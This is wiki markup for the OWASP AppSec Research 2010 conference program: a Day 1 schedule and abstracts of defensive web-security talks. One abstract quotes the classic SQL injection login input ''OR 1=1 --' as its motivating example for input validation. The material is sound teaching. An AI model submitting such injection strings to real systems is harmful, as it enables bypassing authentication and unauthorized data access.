| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | 09:00-10:00 &lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(252, 252, 150);&amp;quot; | [[#Keynote: Cross-Domain Theft and the Future of Browser Security]] ([[Media:OWASP_AppSec_Research_2010_Keynote_1_by_Evans_and_Fette.pdf|pdf]]) ([http://owasp.blip.tv/file/3917599/ video])&lt;br /&gt;
''Chris Evans, Information Security Engineer, and Ian Fette, Product Manager for Chrome Security, Google'' &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | 10:10-10:45 &lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | [[Image:OWASP AppSec Research 2010 Research R.gif]] [[#BitFlip: Determine a Data's Signature Coverage from Within the Application]] ([[Media:OWASP_AppSec_Research_2010_BitFlip_by_Poehls.pdf|pdf]]) ([http://owasp.blip.tv/file/3917734/ video])&lt;br /&gt;
''Henrich Christopher Poehls, University of Passau''&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | [[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#CsFire: Browser-Enforced Mitigation Against CSRF]] ([[Media:OWASP_AppSec_Research_2010_CsFire_by_Desmet_and_DeRyck.pdf|pdf]]) ([http://owasp.blip.tv/file/3917849/ video])&lt;br /&gt;
''Lieven&amp;amp;nbsp;Desmet&amp;amp;nbsp;and&amp;amp;nbsp;Philippe&amp;amp;nbsp;De&amp;amp;nbsp;Ryck,&amp;amp;nbsp;Katholieke Universiteit Leuven''&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(153, 255, 153);&amp;quot; | [[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Deconstructing ColdFusion]] ([[Media:OWASP_AppSec_Research_2010_Deconstructing_ColdFusion_by_Eng.pdf|pdf]]) ([http://owasp.blip.tv/file/3917750/ video])&lt;br /&gt;
''Chris Eng,&amp;amp;nbsp;Veracode'' &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | 10:45-11:10 &lt;br /&gt;
| align=&amp;quot;left&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 90%; background: none repeat scroll 0% 0% rgb(194, 194, 194);&amp;quot; | Break - Expo - CTF kick-off, '''Coffee break sponsoring position open''' ($2,000)&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | 11:10-11:45 &lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | [[Image:OWASP AppSec Research 2010 Research R.gif]] [[#Towards Building Secure Web Mashups]] ([[Media:OWASP_AppSec_Research_2010_Secure_Mashups_by_DeRyck.pdf|pdf]]) ([http://owasp.blip.tv/file/3918092/ video])&lt;br /&gt;
''M Decat, P De Ryck, L Desmet, F Piessens, W Joosen,&amp;amp;nbsp;Katholieke Universiteit Leuven'' &lt;br /&gt;
&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | [[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#New Insights into Clickjacking]] ([[Media:OWASP_AppSec_Research_2010_Clickjacking_by_Balduzzi.pdf|pdf]]) ([http://owasp.blip.tv/file/3918233/ video])&lt;br /&gt;
''Marco Balduzzi,&amp;amp;nbsp;Eurecom&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(153, 255, 153);&amp;quot; | [[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#How to Render SSL Useless]] ([[Media:Ivan_Ristic_-_Breaking_SSL_-_OWASP.pdf|pdf]]) ([http://owasp.blip.tv/file/3918288/ video])&lt;br /&gt;
''Ivan Ristic, Qualys&amp;lt;br&amp;gt;'' &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | 11:55-12:30 &lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | &lt;br /&gt;
[[Image:OWASP AppSec Research 2010 Research R.gif]] [[#Busting Frame Busting]] ([[Media:OWASP_AppSec_Research_2010_Busting_Frame_Busting_by_Rydstedt.pdf|pdf]]) ([http://owasp.blip.tv/file/3918217/ video])&lt;br /&gt;
&lt;br /&gt;
''Gustav Rydstedt,&amp;amp;nbsp;Stanford Web Security Research''&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | [[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Web Frameworks and How They Kill Traditional Security Scanning]] ([[Media:OWASP_AppSec_Research_2010_Frameworks_Security_by_Hang.pdf|pdf]]) ([http://owasp.blip.tv/file/3917978/ video])&lt;br /&gt;
''Christian Hang and Lars Andren,&amp;amp;nbsp;Armorize Technologies'' &lt;br /&gt;
&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(153, 255, 153);&amp;quot; | [[Image:OWASP AppSec Research 2010 Demo D.gif]] [[#The State of SSL in the World]] ([[Media:OWASP_AppSec_Research_2010_State_of_SSL_by_Boman.pdf|pdf]]) ([http://owasp.blip.tv/file/3917760/ video without sound :(])&lt;br /&gt;
''Michael Boman, Omegapoint&amp;lt;br&amp;gt;'' &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | 12:30-13:45 &lt;br /&gt;
| align=&amp;quot;left&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(194, 194, 194);&amp;quot; | Lunch - Expo - CTF, Lunch sponsor: [[Image:OWASP AppSec Research 2010 IIS logo for program.png]]&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | 13:45-14:20 &lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | [[Image:OWASP AppSec Research 2010 Research R.gif]] [[#(New) Object Capabilities and Isolation of Untrusted Web Applications]] ([[Media:OWASP_AppSec_Research_2010_Obj_Capabilities_by_Maffeis.pdf|pdf]]) ([http://owasp.blip.tv/file/3918179/ video])&lt;br /&gt;
''Sergio Maffeis, Imperial College, London'' &lt;br /&gt;
&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | [[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Beyond the Same-Origin Policy]] ([[Media:OWASP_AppSec_Research_2010_Beyond_SOP_by_Nagra_and_Samuel.pdf|pdf]]) ([http://owasp.blip.tv/file/3917705/ video])&lt;br /&gt;
''Jasvir Nagra and Mike Samuel, Google&amp;lt;br&amp;gt;'' &lt;br /&gt;
&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(153, 255, 153);&amp;quot; | [[Image:OWASP AppSec Research 2010 Demo D.gif]] [[#SmashFileFuzzer - a New File Fuzzer Tool]] ([[Media:OWASP_AppSec_Research_2010_Smash_File_Fuzzer_by_Randive.pdf|pdf]]) ([http://owasp.blip.tv/file/3917961/ video])&lt;br /&gt;
''Komal Randive, Symantec'' &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | 14:30-15:05 &lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | [[Image:OWASP AppSec Research 2010 Demo D.gif]] [[#Security Toolbox for .NET Development and Testing]] ([[Media:OWASP_AppSec_Research_2010_NET_Toolbox_by_Lindfors_and_Konig.pdf|pdf]]) ([http://owasp.blip.tv/file/3917695/ video])&lt;br /&gt;
''Johan Lindfors and Dag König, Microsoft'' &lt;br /&gt;
&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | [[Image:OWASP AppSec Research 2010 Demo D.gif]] [[#Cross-Site Location Jacking (XSLJ) (not really)]] ([[Media:OWASP_Appsec_Research_2010_Redirects_XSLJ_by_Sirdarckcat_and_Thornmaker.pdf|pdf]]) ([http://owasp.blip.tv/file/3917823/ video])&lt;br /&gt;
''David Lindsay, Cigital&amp;lt;br&amp;gt;Eduardo Vela Nava,&amp;amp;nbsp;sla.ckers.org''&lt;br /&gt;
&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(153, 255, 153);&amp;quot; | [[Image:OWASP AppSec Research 2010 Demo D.gif]] [[#Owning Oracle: Sessions and Credentials]] ([[Media:OWASP_AppSec_Research_2010_Owning_Oracle_by_Henrique_and_Ocepek.pdf|pdf]]) ([http://owasp.blip.tv/file/3917882/ video])&lt;br /&gt;
''Wendel G. Henrique and Steve Ocepek, Trustwave'' &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | 15:05-15:30 &lt;br /&gt;
| align=&amp;quot;left&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 80%; background: none repeat scroll 0% 0% rgb(194, 194, 194);&amp;quot; | Break - Expo - CTF, '''Coffee break sponsoring position open''' ($2,000)&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | 15:30-16:05 &lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 133, 122);&amp;quot; | [[Image:OWASP AppSec Research 2010 Demo D.gif]] [[#Value Objects a la Domain-Driven Security: A Design Mindset to Avoid SQL Injection and Cross-Site Scripting]] ([[Media:OWASP_AppSec_Research_2010_VOs_a_la_DDS_by_Johnsson.pdf|pdf]]) ([http://owasp.blip.tv/file/3918040/ video])&lt;br /&gt;
''Dan Bergh Johnsson, Omegapoint'' &lt;br /&gt;
&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(188, 165, 122);&amp;quot; | [[Image:OWASP AppSec Research 2010 Presentation P.gif]] [[#Automated vs. Manual Security: You Can't Filter &amp;quot;The Stupid&amp;quot;]] (pdf not available yet) ([http://owasp.blip.tv/file/3917807/ video])&amp;lt;br&amp;gt;&lt;br /&gt;
''David Byrne and Charles Henderson, Trustwave''&lt;br /&gt;
&lt;br /&gt;
| align=&amp;quot;left&amp;quot; style=&amp;quot;width: 30%; background: none repeat scroll 0% 0% rgb(153, 255, 153);&amp;quot; | [[Image:OWASP AppSec Research 2010 Research R.gif]] [[#Session Fixation - the Forgotten Vulnerability?]] ([[Media:OWASP_AppSec_Research_2010_Session_Fixation_by_Schrank_Braun_Johns_and_Poehls.pdf|pdf]]) ([http://owasp.blip.tv/file/3918310/ video])&lt;br /&gt;
''Michael Schrank and Bastian Braun, University of Passau&amp;lt;br&amp;gt;Martin Johns, SAP Research'' &lt;br /&gt;
&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | 16:15-17:00 &lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;3&amp;quot; style=&amp;quot;width: 90%; background: none repeat scroll 0% 0% rgb(242, 242, 242);&amp;quot; | Panel Discussion: &amp;quot;Is Application Security a Losing Battle?&amp;quot;  ([http://owasp.blip.tv/file/3918133/ video, partly poor sound])&lt;br /&gt;
|-&lt;br /&gt;
| style=&amp;quot;width: 10%; background: none repeat scroll 0% 0% rgb(123, 138, 189);&amp;quot; | 19:00-23:00 &lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;1&amp;quot; style=&amp;quot;background: none repeat scroll 0% 0% rgb(43, 58, 109);&amp;quot; | [[Image:OWASP_AppSec_Research_2010_Stockholm_City_Hall_exterior_small.jpg|Stockholm City Hall, photo by Yanan Li]]&lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;1&amp;quot; style=&amp;quot;background: none repeat scroll 0% 0% rgb(43, 58, 109); color: white;&amp;quot; | '''Gala Dinner''' at [http://international.stockholm.se/Tourism-and-history/The-Famous-City-Hall/Pictures-of-the-City-Hall/ &amp;lt;span style=&amp;quot;color:rgb(163, 178, 229);&amp;quot;&amp;gt;Stockholm City Hall&amp;lt;span&amp;gt;]&amp;lt;br&amp;gt;Sponsored by&amp;lt;br&amp;gt;[[Image:OWASP AppSec Research 2010 Google logo for program.png]] &lt;br /&gt;
| align=&amp;quot;center&amp;quot; colspan=&amp;quot;1&amp;quot; style=&amp;quot;background: none repeat scroll 0% 0% rgb(43, 58, 109);&amp;quot; | [[Image:OWASP_AppSec_Research_2010_Stockholm_City_Hall_Golden_Hall_small.jpg|The Golden Hall, photo by Yanan Li]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Image:AppSec Research 2010 Microsoft diamond sponsor.jpg|250px|Microsoft - Diamond Sponsor]] [[Image:AppSec Research 2010 Google 20k sponsor.jpg|150px|Google - Dinner Party and Expo Sponsor]] [[Image:Portwise logo.png|130px|PortWise - Gold and Badge Sponsor]] [[Image:Cybercom logo.png|100px|Cybercom - Gold Sponsor]] [[Image:Fortify logo AppSec Research 2010.png|120px|Fortify - Gold Sponsor]] [[Image:Omegapoint logo.png|110px|Omegapoint - Gold Sponsor]] [[Image:Mnemonic logo.png|100px|Mnemonic - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor Nixu logo.jpg|100px|NIXU - Silver Sponsor]] [[Image:Hps_logo.png|140px|High Performance Systems - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor F5 logo.jpg|70px|F5 - Silver Sponsor]] [[Image:AppSec Research 2010 sponsor Imperva logo.jpg|100px|Imperva - Silver Sponsor]] [[Image:AppSec_Research_2010_sponsor_Promon_logo.jpg|100px|Promon - Silver Sponsor]] [[Image:IIS logo.png|100px|Stiftelsen för Internetinfrastruktur - Lunch Sponsor]] [[Image:MyNethouse logo.png|100px|MyNethouse - Coffee Break Sponsor]] [[Image:AppSec Research 2010 Help Net Security sponsor.jpg|100px|Help Net Security - Media Sponsor]] [[Image:TrustwaveLogo.jpg|100px|Trustwave - Notepad sponsor]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Keynote: Cross-Domain Theft and the Future of Browser Security  ==&lt;br /&gt;
&lt;br /&gt;
[[Image:Appsec research 2010 invited talk 1.jpg]] &lt;br /&gt;
&lt;br /&gt;
'''Chris Evans'''&amp;lt;br&amp;gt; Troublemaker, Information Security Engineer, and Tech Lead at Google inc.&amp;lt;br&amp;gt; Also the sole author of vsftpd. &lt;br /&gt;
&lt;br /&gt;
'''Ian Fette'''&amp;lt;br&amp;gt; Product Manager for Chrome Security and Google's Anti-Malware initiative &lt;br /&gt;
&lt;br /&gt;
'''Abstract'''&amp;lt;br&amp;gt; The web browser, and associated machinery, is on the front line of attacks. We will first look at design-level problems with the traditional browser in terms of monolithic architecture and fundamental problems with the same-origin policy. We will then look at the types of solution that are starting to appear in browsers such as Google Chrome and Internet Explorer. We will look at other important browser-based defenses such as Safe Browsing. We will detail what a future browser might look like that has a much more secure design, but is still usable on the wide variety of web sites that people use daily. &lt;br /&gt;
&lt;br /&gt;
== DAY 1, TRACK 1  ==&lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] BitFlip: Determine a Data's Signature Coverage from Within the Application  ===&lt;br /&gt;
&lt;br /&gt;
''Henrich Christopher Poehls, University of Passau - ISL'' &lt;br /&gt;
&lt;br /&gt;
Despite applied cryptographic primitives applications are working on data that was not protected by them. We show by abstracting the message flow between the application and the underlying wire, that protection is applied to a different data model. Taking problems from real life, like XML wrapping attacks and digital signatures on XML, we show that establishing the right linkage between the security checked on lower levels and the application above is practically difficult. We propose a application controlled check, the BitFlip-test. By this simple test an application can test if the application's assumed protection of a data value was indeed provided by the digital signature applied to the message that contained the value. &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] Towards Building Secure Web Mashups  ===&lt;br /&gt;
&lt;br /&gt;
''Maarten Decat, Philippe De Ryck, Lieven Desmet, Frank Piessens, and Wouter Joosen, Katholieke Universiteit Leuven'' &lt;br /&gt;
&lt;br /&gt;
Web mashups combine components from multiple sources into a single, interactive application. This kind of setup typically requires both interaction between the components to achieve the necessary functionality, as well as component separation to achieve a secure execution. Unfortunately, the traditional web is not designed to easily fulfill both requirements, which can be seen in the restrictions imposed by traditional development techniques. This paper gives an overview of these traditional techniques and investigates new developments, specifically aimed at combining components in a secure manner. In addition, topics for further improvement are identified to ensure a wide adaptation of secure mashups. &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] Busting Frame Busting  ===&lt;br /&gt;
&lt;br /&gt;
''Gustav Rydstedt, Stanford Web Security Research''&amp;lt;br&amp;gt;&lt;br /&gt;
Joint work with Elie Bursztein, Dan Boneh, and Collin Jackson.&lt;br /&gt;
&lt;br /&gt;
Web framing attacks such as clickjacking use iframes to hijack a user's web session. The most common defense, called frame busting, prevents a site from functioning when loaded inside a frame. We study frame busting practices for the Alexa Top-500 sites and show that all can be circumvented in one way or another. Some circumventions are browser-specific while others work across browsers. We conclude with recommendations for proper frame busting.&lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Research word.gif]] (New) Object Capabilities and Isolation of Untrusted Web Applications ===&lt;br /&gt;
&lt;br /&gt;
''Sergio Maffeis, Imperial College, London'' &lt;br /&gt;
&lt;br /&gt;
The object-capability model provides an appealing approach for isolating untrusted content in mashups: if untrusted applications are provided disjoint capabilities they still can interact with the user or the hosting page, but they cannot directly interfere with each other. We develop language-based foundations for isolation proofs based on object-capability concepts, and we show the applicability of our framework for a specific class of mashups. As an application, we prove that a JavaScript subset based on Google Caja is capability safe.&lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Demo word.gif]] Security Toolbox for .NET Development and Testing  ===&lt;br /&gt;
&lt;br /&gt;
''Johan Lindfors and Dag König, Microsoft'' &lt;br /&gt;
&lt;br /&gt;
Being a developer on the Microsoft platform leveraging .NET doesn’t only involve keeping up with the continuous development of the underlying framework and technologies. It also means to be on top of the latest security threats and naturally the available mitigations and best practices to protect the customers and users of the applications and solutions being developed. &lt;br /&gt;
&lt;br /&gt;
In this session we will demonstrate how you as a .NET developer can leverage existing tools and technologies to build safer applications. During the demonstrations you will get more familiar with the existing tools within Visual Studio but also be introduced and educated in more tools that will help you build a toolbox for secure development and security testing. &lt;br /&gt;
&lt;br /&gt;
But one must also remember that tools will never replace knowledge and hence we will also show you how you can regularly get updated with the latest information from Microsoft on security including how to leverage SDL – Security Development Lifecycle, within your own projects. &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Demo word.gif]] Value Objects a la Domain-Driven Security: A Design Mindset to Avoid SQL Injection and Cross-Site Scripting  ===&lt;br /&gt;
&lt;br /&gt;
''Dan Bergh Johnsson, Omegapoint'' &lt;br /&gt;
&lt;br /&gt;
SQL Injection and Cross-Site Scripting have been topping the OWASP Top Ten for the last years. It must be a top priority for the community to evolve designs and mindsets that help the programmers to avoid these traps in their day-to-day work, where they have so much else but security that calls for their attention. The ambition of this presentation is to show design and coding practices that are well established in other fields of software development and put them to use to avoid just-mentioned traps. We also show some small refactorings that can be immediately applied to an existing codebase to make significant improvements to its security. Attendants of the session should be able to go back to work Monday morning and finish an improvement in this style before Monday lunch. &lt;br /&gt;
&lt;br /&gt;
We take inspiration from Domain Driven Design (DDD), which is characterized by its focus on what the software intend to represent. In particular, we make heavy use of the Value Object design pattern, where strict typing help us enforce that the incoming data is truthful to the restrictions of the domain. We start out with Injection Flaws and use the canonical username SQL Injection attack (“’OR 1=1 --“) as an example. Realizing that mentioned string was not intended as a valid username we elaborate the model to reflect this. Further more we make this change explicit in the code by introducing the new type and class Username. This also gives a natural place to put validation code, which otherwise often is placed in utility classes where it is easily forgotten and seldom called. In fact, we can even design service methods to require a validated Username, thus using the strong typing to enforce validation in the calling client system tier. &lt;br /&gt;
&lt;br /&gt;
Making this re-design with associated code changes is performed as a demo, and en route we discuss other design options and their relative merits and drawbacks. Again using DDD we proceed to analyse XSS. In the same way we see that XSS is in the general case not an indata validation problem. An extended analysis proposes that it can be phrased as an output-encoding problem. Using a similar technique we model the target domain of web content as the new type HTMLString, and can thereby enforce conversion from ordinary strings to strings with the proper encoding. If you have multiple content channels, then each channel will. &lt;br /&gt;
&lt;br /&gt;
All steps needed are shown in code, starting with a vulnerable application and through controlled refactoring steps ending up with a version without the vulnerability. In summary, we will take an established quality practice from another field of software development and use it to get security improvements. The main benefits are two: firstly, the method gently guides and reminds the programmers to include validation and encoding in an unobtrusive way. Secondly, the work can be performed in very small steps, where the first can be finished before lunch Monday after the conference. &lt;br /&gt;
&lt;br /&gt;
== DAY 1, TRACK 2  ==&lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] CsFire: Browser-Enforced Mitigation Against CSRF  ===&lt;br /&gt;
&lt;br /&gt;
''Lieven Desmet and Philippe De Ryck, Katholieke Universiteit Leuven'' &lt;br /&gt;
&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is a web application attack vector that can be leveraged by an attacker to force an unwitting user's browser to perform actions on a third party website, possibly reusing all cached authentication credentials of that user. &lt;br /&gt;
&lt;br /&gt;
Currently, a whole range of techniques exist to mitigate CSRF, either by protecting the server application or by protecting the end-user. Unfortunately, the server-side protection mechanisms are not yet widely adopted, and the client-side solutions provide only limited protection or cannot deal with complex web 2.0 applications, which use techniques such as AJAX, mashups or single sign-on (SSO). &lt;br /&gt;
&lt;br /&gt;
In this talk, we will presents three interesting results of our research: (1) an extensive, real‐world traffic analysis to gain more insights in cross‐domain web interactions, (2) requirements for client‐side mitigation against CSRF and an analysis of existing browser extensions and (3) CsFire, our newly developed FireFox extension to mitigate CSRF. &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Automated vs. Manual Security: You Can't Filter &amp;quot;The Stupid&amp;quot;  ===&lt;br /&gt;
&lt;br /&gt;
''David Byrne and Charles Henderson, Trustwave'' &lt;br /&gt;
&lt;br /&gt;
Everyone wants to stretch their security budget, and automated application security tools are an appealing choice for doing so. However, manual security testing isn’t going anywhere until the HAL application scanner comes online. This presentation will use often humorous, real-world examples to illustrate the relative strengths and weaknesses of automated solutions and manual techniques. &lt;br /&gt;
&lt;br /&gt;
Automated tools certainly have some strengths (namely low incremental cost, detecting simple vulnerabilities, and performing highly repetitive tasks). In addition to preventing some attacks, WAFs also have advantages for some compliance frameworks. However, automated solutions are far from perfect. To begin with, there are entire classes of very important vulnerabilities that are theoretically impossible for automated software to detect (at least until HAL comes online). Examples include complex information leakage, race conditions, logic flaws, design flaws, subjective vulnerabilities such as CSRF, and multistage process attacks. &lt;br /&gt;
&lt;br /&gt;
Beyond that, there are many vulnerabilities that are too complicated or obscure to practically detect with an automated tool. Automated tools are designed to cover common application designs and platforms. Applications using an unusual layout or components will not be thoroughly protected by automated tools. Realistically, only the most vanilla of web applications written on common, simple platforms will receive solid code coverage from an automated tool. &lt;br /&gt;
&lt;br /&gt;
On the other hand, manual testing is far more versatile. An experienced penetration tester can identify complicated vulnerabilities in the same way that an attacker does. Specific, real-world examples of vulnerabilities only recognizable by humans will be provided. The diversity of vulnerabilities shown will clearly demonstrate that all applications have the potential for significant vulnerabilities not detectable by automated tools. &lt;br /&gt;
&lt;br /&gt;
Manual source code reviews present even more benefits by identifying vulnerabilities that require access to source code. Examples include “hidden” or unused application components, SQL injection with no evidence in the response, exotic injection attacks (e.g. mainframe session attacks), vulnerabilities in back-end systems, and intentional backdoors. Many organizations assume that this type of vulnerability is not a large threat, but source code can be obtained by disgruntled developers, by internal attackers when the repository isn’t properly secured, by exploiting platform bugs or path directory traversal attacks, and by external attackers using a Trojan horse or similar technique. &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Web Frameworks and How They Kill Traditional Security Scanning  ===&lt;br /&gt;
&lt;br /&gt;
''Christian Hang and Lars Andren, Armorize Technologies'' &lt;br /&gt;
&lt;br /&gt;
Modern web application frameworks present a challenge to static analysis technologies due to how they influence application behavior in ways not obvious from the source code. This prevents efficient security scanning and can cause up to 80% of total potential issues to remain undetected due to the incorrect framework handling. After explaining the underlying problems, we demonstrate in a real world walk through using code analysis to scan actual application code. By extending static analysis with new framework specific components, even applications using complex frameworks like Struts and Smarty can be inspected automatically and code coverage of security analysis can be greatly enhanced. &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Beyond the Same-Origin Policy  ===&lt;br /&gt;
&lt;br /&gt;
''Jasvir Nagra and Mike Samuel, Google Inc'' &lt;br /&gt;
&lt;br /&gt;
The same-origin policy has governed interaction between client-side code and user data since Netscape 2.0, but new development techniques are rendering it obsolete. Traditionally, a website consisted of server-side code written by trusted, in-house developers&amp;amp;nbsp;; and a minimum of client-side code written by the same in-house devs. The same-origin policy worked because it didn't matter whether code ran server-side or client-side&amp;amp;nbsp;; the user was interacting with code produced by the same organization. But today, complex applications are being written almost entirely in client-side code requiring developers to specialize and share code across organizational boundaries. &lt;br /&gt;
&lt;br /&gt;
This talk will explain how the same-origin policy is breaking down, give examples of attacks, discuss the properties that any alternative must have, introduce a number of alternative models being examined by the Secure EcmaScript committee and other standards bodies, demonstrate how they do or don't thwart these attacks, and discuss how secure interactive documents could open up new markets for web developers. We assume a basic familiarity with web application protocols&amp;amp;nbsp;: HTTP, HTML, JavaScript, CSS&amp;amp;nbsp;; and common classes of attacks&amp;amp;nbsp;: XSS, XSRF, Phishing. &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Demo word.gif]] Cross-Site Location Jacking (XSLJ) (not really)  ===&lt;br /&gt;
&lt;br /&gt;
''David Lindsay, Cigital Inc, and Eduardo Vela Nava sla.ckers.org'' &lt;br /&gt;
&lt;br /&gt;
Redirects are commonly used on many websites and are an integral part of many web frameworks. However, subtle and not so subtle issues can lead to security holes and privacy issues. In this presentation, we will discuss several high and low level issues related to redirects and demonstrate how the issues can be exploited. &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] New Insights into Clickjacking  ===&lt;br /&gt;
&lt;br /&gt;
''Marco Balduzzi, Eurecom'' &lt;br /&gt;
&lt;br /&gt;
Over the past year, clickjacking received extensive media coverage. News portals and security forums have been overloaded by posts claiming clickjacking to be the upcoming security threat. In a clickjacking attack, a malicious page is constructed (or a benign page is hijacked) to trick the user into performing unintended clicks that are advantageous for the attacker, such as propagating a web worm, stealing confidential information or abusing of the user session. In this talk, we formally define the problem and introduce our novel solution for automated detection of clickjacking attacks. We present the details of the system architecture and its implementation, and we evaluate the results we obtained from the analysis of over a million unique Internet pages. We conclude by discussing the clickjacking phenomenon and its future implications. &lt;br /&gt;
&lt;br /&gt;
== DAY 1, TRACK 3  ==&lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] Deconstructing ColdFusion  ===&lt;br /&gt;
&lt;br /&gt;
''Chris Eng, Veracode'' &lt;br /&gt;
&lt;br /&gt;
This presentation is a technical survey of ColdFusion security, which will be of interest mostly to code auditors and penetration testers. We’ll cover the basics of ColdFusion markup, control flow, functions, and components and demonstrate how to identify common web application vulnerabilities at the source code level. We’ll also delve into ColdFusion J2EE internals, describing some of the unexpected properties we’ve observed while decompiling ColdFusion applications for static analysis. &lt;br /&gt;
&lt;br /&gt;
=== [[Image:OWASP AppSec Research 2010 Presentation word.gif]] How to Render SSL Useless  ===&lt;br /&gt;
&lt;br /&gt;
''Ivan Ristic, Feisty Duck'' &lt;br /&gt;
